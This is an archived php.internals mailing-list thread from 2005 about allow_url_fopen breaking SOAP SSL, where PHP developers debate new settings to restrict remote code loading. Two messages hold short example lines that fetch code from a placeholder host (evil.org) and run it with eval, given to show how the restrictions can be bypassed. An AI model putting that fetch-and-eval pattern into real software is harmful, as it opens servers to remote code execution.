Everything

php

Home » Project » Newsgroups » php.internals » SOAP SSL support doesn't work when allow_url_fopen is turned off »

SOAP SSL support doesn't work when allow_url_fopen is turned off

php.internals

Wez Furlong

21 years ago

A bit of a WTF factor.

The reason is doesn't work is because php_stream_locate_url_wrapper()
respects allow_url_fopen(), and the soap code interprets failure as
"SSL not enabled in this build" which is wrong.  It it passed in the
REPORT_ERRORS flag, the correct reason would be emitted or logged
somewhere.

There is currently no flag that can override the allow_url_fopen check
in php_stream_locate_url_wrapper.  The question is: should we bypass
this check for SOAP?
If not, we need to tweak the docs and have the soap extension report a
more appropriate reason for failure.

--Wez.

Sara Golemon

21 years ago

Two answers:
(A) I do think an override is a good idea.  There may be some cases where
extension code may need to hook a wrapper whether allow_url_fopen is enabled
or not.  Granted the code could temporarily change that value, but that's a
hackish approach.

(B) I don't think SOAP is one of those cases.  I would be dissapointed if
SOAP allowed *any* calls to be made when allow_url_fopen is off.


"Wez Furlong" <kingwez@gmail.com> wrote in message
news:4e89b42605072713575d8f0d57@mail.gmail.com...
A bit of a WTF factor.

The reason is doesn't work is because php_stream_locate_url_wrapper()
respects allow_url_fopen(), and the soap code interprets failure as
"SSL not enabled in this build" which is wrong.  It it passed in the
REPORT_ERRORS flag, the correct reason would be emitted or logged
somewhere.

There is currently no flag that can override the allow_url_fopen check
in php_stream_locate_url_wrapper.  The question is: should we bypass
this check for SOAP?
If not, we need to tweak the docs and have the soap extension report a
more appropriate reason for failure.

--Wez.

Adam Maccabee Trachtenberg

21 years ago

On Wed, 27 Jul 2005, Sara Golemon wrote:

> (B) I don't think SOAP is one of those cases.  I would be dissapointed if
> SOAP allowed *any* calls to be made when allow_url_fopen is off.

I pretty much take it for granted that people are going to need to
fetch the WSDL file from a remote location.

Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off? Do you apply the same limitations to, for
example, cURL?

Or am I misunderstanding you?

-adam

--
adam@trachtenberg.com | http://www.trachtenberg.com
author of o'reilly's "upgrading to php 5" and "php cookbook"
avoid the holiday rush, buy your copies today!

Ilia A.

21 years ago

Adam Maccabee Trachtenberg wrote:

> I pretty much take it for granted that people are going to need to
> fetch the WSDL file from a remote location.

Not to mention do anything useful with it, like run queries :-)

> Are you therefore saying SOAP support should be 100% diabled when
> allow_url_fopen is off?

SOAP is not disabled, simply prevented from querying remote data sources
directly.

> Do you apply the same limitations to, for
> example, cURL?

No, nor does it prevent fsockopen() or equivalent from being used to run
queries.

Ilia

Zeev Suraski

21 years ago

At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:

>>Are you therefore saying SOAP support should be 100% diabled when
>>allow_url_fopen is off?
>
>SOAP is not disabled, simply prevented from querying remote data sources
>directly.

What exactly can you do with it other than query remote data sources?

I tend to agree with Adam (and I guess Wez) - SOAP should not be affected
by allow_url_fopen.  We can have another directive,
allow_web_services_clients or whatever, that will affect SOAP instead.  The
average user will have no idea that allow_url_fopen is in any way related
to web services.

Zeev

Pierre-Alain Joye

21 years ago

On Thu, 28 Jul 2005 16:10:59 +0300
zeev@zend.com (Zeev Suraski) wrote:

> At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
> >>Are you therefore saying SOAP support should be 100% diabled
> >>when allow_url_fopen is off?

> I tend to agree with Adam (and I guess Wez) - SOAP should not be
> affected by allow_url_fopen.  We can have another directive,
> allow_web_services_clients or whatever, that will affect SOAP

This sounds good, having a separate config for non obvious
url_fopen is more clear. Even average admins have no good idea
about allow_url_fopen.

--Pierre

Ilia A.

21 years ago

Zeev Suraski wrote:

> At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
>
>>> Are you therefore saying SOAP support should be 100% diabled when
>>> allow_url_fopen is off?
>>
>>
>> SOAP is not disabled, simply prevented from querying remote data
>> sources directly.
>
>
> What exactly can you do with it other than query remote data sources?
>
> I tend to agree with Adam (and I guess Wez) - SOAP should not be
> affected by allow_url_fopen.

Why not simply make existing INI option only restrict script loading
operations such as include/require, afterall this is what it tries to
primarily prevent anyway.

Ilia

George Schlossnagle

21 years ago

On Jul 28, 2005, at 9:21 AM, Ilia Alshanetsky wrote:

> Zeev Suraski wrote:
>
>> At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
>>
>>>> Are you therefore saying SOAP support should be 100% diabled when
>>>> allow_url_fopen is off?
>>>>
>>>
>>>
>>> SOAP is not disabled, simply prevented from querying remote data
>>> sources directly.
>>>
>> What exactly can you do with it other than query remote data sources?
>> I tend to agree with Adam (and I guess Wez) - SOAP should not be
>> affected by allow_url_fopen.
>>
>
> Why not simply make existing INI option only restrict script
> loading operations such as include/require, afterall this is what
> it tries to primarily prevent anyway.

Maybe - I would say that there are good (non-security-related)
reasons for restricting url open elsewhere.  I'd rather see a per-
extension override that allows you to say exactly what you want
occuring.

George

George Schlossnagle

21 years ago

On Jul 28, 2005, at 9:10 AM, Zeev Suraski wrote:

> At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
>
>>> Are you therefore saying SOAP support should be 100% diabled when
>>> allow_url_fopen is off?
>>>
>>
>> SOAP is not disabled, simply prevented from querying remote data
>> sources directly.
>>
>
> What exactly can you do with it other than query remote data sources?
>
> I tend to agree with Adam (and I guess Wez) - SOAP should not be
> affected by allow_url_fopen.  We can have another directive,
> allow_web_services_clients or whatever, that will affect SOAP
> instead.  The average user will have no idea that allow_url_fopen
> is in any way related to web services.

I think we should namespace them per extension:

soap.allow_url_fopen (or something more inspired).  This will allow
you to toggle it on a per-extension basis easily.

That having been said, in the current implementation this should
probably only affect the pulling of the WSDL file, right (since
currently the actual client request is done through a non-streams
implementation).  You can certainly have a local WSDL file.

George

Zeev Suraski

21 years ago

At 04:21 PM 7/28/2005, Ilia Alshanetsky wrote:

>Zeev Suraski wrote:
>>At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
>>
>>>>Are you therefore saying SOAP support should be 100% diabled when
>>>>allow_url_fopen is off?
>>>
>>>
>>>SOAP is not disabled, simply prevented from querying remote data sources
>>>directly.
>>
>>What exactly can you do with it other than query remote data sources?
>>I tend to agree with Adam (and I guess Wez) - SOAP should not be affected
>>by allow_url_fopen.
>
>Why not simply make existing INI option only restrict script loading
>operations such as include/require, afterall this is what it tries to
>primarily prevent anyway.

That may be a good alternative.  We need to figure out whether there are
any other functionality that may pose a security risk, other than
include/require of remote files - can anybody think of anything?  If not,
then that's probably the best alternative:

1.  Deprecate allow_url_fopens
2.  Introduce allow_remote_code_execution
3.  Introduce allow_remote_streams (effectively allow_url_fopens renamed,
except it doesn't affect include/require)

Zeev

George Schlossnagle

21 years ago

On Jul 28, 2005, at 9:28 AM, Zeev Suraski wrote:

> At 04:21 PM 7/28/2005, Ilia Alshanetsky wrote:
>
>> Zeev Suraski wrote:
>>
>>> At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
>>>
>>>
>>>>> Are you therefore saying SOAP support should be 100% diabled when
>>>>> allow_url_fopen is off?
>>>>>
>>>>
>>>>
>>>> SOAP is not disabled, simply prevented from querying remote data
>>>> sources directly.
>>>>
>>>
>>> What exactly can you do with it other than query remote data
>>> sources?
>>> I tend to agree with Adam (and I guess Wez) - SOAP should not be
>>> affected by allow_url_fopen.
>>>
>>
>> Why not simply make existing INI option only restrict script
>> loading operations such as include/require, afterall this is what
>> it tries to primarily prevent anyway.
>>
>
> That may be a good alternative.  We need to figure out whether
> there are any other functionality that may pose a security risk,
> other than include/require of remote files - can anybody think of
> anything?  If not, then that's probably the best alternative:
>
> 1.  Deprecate allow_url_fopens
> 2.  Introduce allow_remote_code_execution
> 3.  Introduce allow_remote_streams (effectively allow_url_fopens
> renamed, except it doesn't affect include/require)

sure:  eval('file_get_contents("http://evil.org");');

You could say this is just bad policy on the part of code authors,
but that's what these options were geared to handle in the first
place, right?

George

Ilia A.

21 years ago

> sure:  eval('file_get_contents("http://evil.org");');

Ok, but there is nothing (allow_url_fopen does not work here) preventing
me from doing similar via:

$fp = fsockopen("evil.org", 80);
$fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\r\nHost: evil.org\r\n\r\n");
eval(stream_get_contents($fp));

Ilia

George Schlossnagle

21 years ago

On Jul 28, 2005, at 9:49 AM, Ilia Alshanetsky wrote:

>> sure:  eval('file_get_contents("http://evil.org");');
>>
>
> Ok, but there is nothing (allow_url_fopen does not work here)
> preventing me from doing similar via:
>
> $fp = fsockopen("evil.org", 80);
> $fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\r\nHost: evil.org\r\n
> \r\n");
> eval(stream_get_contents($fp));

But I can (easily enough) disable the socket functions in PHP, not so
convenient with file_get_contents.'

George

Ilia A.

21 years ago

Zeev Suraski wrote:

> 3.  Introduce allow_remote_streams (effectively allow_url_fopens
> renamed, except it doesn't affect include/require)

If this option is disabled, would it simply prevent loading URLs via
various file based functions and a like (like allow_url_fopen now) or
will it also include other streams operations like fsockopen (and
similar), cURL, effectively disable sockets extensions, etc?

Ilia

Zeev Suraski

21 years ago

At 04:39 PM 7/28/2005, George Schlossnagle wrote:

>sure:  eval('file_get_contents("http://evil.org");');
>
>You could say this is just bad policy on the part of code authors,
>but that's what these options were geared to handle in the first
>place, right?

I don't know, I think that if you aim that well you should be allowed to
shoot yourself in the foot :)   If we go that far, then running code from
the database through eval() should also not be allowed, because it may have
been indirectly written to by remote users.  Which boils down to maybe
allowing people to disable eval() (yet another ini entry, yay! :)

Let's wait and hear some more opinions.

Zeev

Zeev Suraski

21 years ago

At 04:52 PM 7/28/2005, Ilia Alshanetsky wrote:

>It can already be done, disable_functions INI directive.

That won't work, eval() is not a function...

Zeev

Ilia A.

21 years ago

Zeev Suraski wrote:

> At 04:52 PM 7/28/2005, Ilia Alshanetsky wrote:
>
>> It can already be done, disable_functions INI directive.
>
>
> That won't work, eval() is not a function...

Ah yes, you're right... I guess we do need another INI setting.

Ilia

Sean Coates

21 years ago

>> That won't work, eval() is not a function...
>
> Ah yes, you're right... I guess we do need another INI setting.

Or constructs-that-look-like-functions could be governed by
disable_functions (eval, echo).. that would cause other problems (like a
disabled "return"), though.

S

Jason Sweat

21 years ago

On 7/28/05, Sean Coates <sean@caedmon.net> wrote:

> >> That won't work, eval() is not a function...
> >
> > Ah yes, you're right... I guess we do need another INI setting.
>
> Or constructs-that-look-like-functions could be governed by
> disable_functions (eval, echo).. that would cause other problems (like a
> disabled "return"), though.
>
> S

I think Zeev's earlier comment about "If their aim is that good, they
deserve to be shot in the foot" applies equally well to "disabled
"return" "

Regards,
Jason

Ilia A.

21 years ago

Zeev Suraski wrote:

> I don't know, I think that if you aim that well you should be allowed to
> shoot yourself in the foot :)   If we go that far, then running code
> from the database through eval() should also not be allowed, because it
> may have been indirectly written to by remote users.  Which boils down
> to maybe allowing people to disable eval() (yet another ini entry, yay! :)

It can already be done, disable_functions INI directive. However this
too can be bypassed ;-), write evil remote code to a local file and then
include/require it.

Ilia

Zeev Suraski

21 years ago

At 04:43 PM 7/28/2005, Ilia Alshanetsky wrote:

>Zeev Suraski wrote:
>>3.  Introduce allow_remote_streams (effectively allow_url_fopens renamed,
>>except it doesn't affect include/require)
>
>If this option is disabled, would it simply prevent loading URLs via
>various file based functions and a like (like allow_url_fopen now) or will
>it also include other streams operations like fsockopen (and similar),
>cURL, effectively disable sockets extensions, etc?

What I had in mind was disabling streams, very much in the same way we have
allow_url_fopens=0 today.  We could try and go beyond that and have
allow_remote_connections which would attempt to disable everything - but I
fear it would quickly become another safe_mode.

In addition, it wouldn't be a bad practice for each extension to provide a
way to disable remote connections in its context, or a way to completely
turn it off (in case it doesn't make sense without remote connections),
like George suggested.

Zeev

Ilia A.

21 years ago

Zeev Suraski wrote:

> At 04:43 PM 7/28/2005, Ilia Alshanetsky wrote:
>
>> Zeev Suraski wrote:
>>
>>> 3.  Introduce allow_remote_streams (effectively allow_url_fopens
>>> renamed, except it doesn't affect include/require)
>>
>>
>> If this option is disabled, would it simply prevent loading URLs via
>> various file based functions and a like (like allow_url_fopen now) or
>> will it also include other streams operations like fsockopen (and
>> similar), cURL, effectively disable sockets extensions, etc?
>
>
> What I had in mind was disabling streams, very much in the same way we
> have allow_url_fopens=0 today.  We could try and go beyond that and have
> allow_remote_connections which would attempt to disable everything - but
> I fear it would quickly become another safe_mode.
>
> In addition, it wouldn't be a bad practice for each extension to provide
> a way to disable remote connections in its context, or a way to
> completely turn it off (in case it doesn't make sense without remote
> connections), like George suggested.

IMHO we should restrict or "disabling" code to just the include/require
constructs, since that is the main cause for concern. Ultimately shy of
disabling php's ability to request remote files there is no way to
prevent an attacker from fetching remote code and then executing it.
However, disabling all ability to query remote data sources severely
cripples PHP capabilities, making many applications that need to do just
that stop working.

Ilia

Mike Bretz

21 years ago

Ilia Alshanetsky wrote:

>
> IMHO we should restrict or "disabling" code to just the
> include/require constructs, since that is the main cause for concern.
> Ultimately shy of disabling php's ability to request remote files
> there is no way to prevent an attacker from fetching remote code and
> then executing it. However, disabling all ability to query remote data
> sources severely cripples PHP capabilities, making many applications
> that need to do just that stop working.
>

Applications which require exactly these php capabilities (like soap or
even xslt on local files(!)) need to set allow_url_fopen to on because
otherwise they stop working. In that way application developers have to
decide to be "secure" and without functionality or "less secure" with
required capabilities. that makes this flag-as-is useless.

IMHO it is highly neccessary to be able to generally disable remote
include/require but also to be able to explizitely to enable it again
for certain parts of application code.

I know that this discussion was on more than once already, but the
current way allow_url_fopen works (e.g. because it is INI_SYSTEM only)
is just to restrictive forcing me and others to keep it enabled for
functionality reasons. I at least would be able to disable it in general
but enable it again on certain scripts within httpd.conf or .htaccess
files). Several proposals how to do that have been already written to
this list, I think.

mike